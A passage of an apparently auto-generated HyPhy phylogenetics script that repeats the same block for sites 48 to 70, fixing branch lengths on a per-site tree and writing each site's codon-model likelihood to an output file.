Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"48\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 49...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"144,145,146\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 49\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"49\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 50...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"147,148,149\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 50\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"50\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 51...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"150,151,152\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 51\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"51\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 52...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"153,154,155\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 52\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"52\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 53...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"156,157,158\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 53\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"53\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 54...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"159,160,161\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 54\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"54\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 55...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"162,163,164\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 55\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"55\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 56...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"165,166,167\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 56\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"56\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 57...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"168,169,170\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 57\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"57\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 58...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"171,172,173\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 58\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"58\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 59...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"174,175,176\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 59\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"59\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 60...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"177,178,179\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 60\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"60\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 61...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"180,181,182\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 61\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"61\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 62...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"183,184,185\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 62\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"62\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 63...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"186,187,188\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 63\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"63\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 64...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"189,190,191\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 64\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"64\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 65...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"192,193,194\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 65\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"65\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 66...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"195,196,197\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 66\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"66\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 67...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"198,199,200\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 67\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"67\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 68...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"201,202,203\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 68\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"68\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 69...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"204,205,206\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 69\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"69\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 70...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"207,208,209\", \"\", 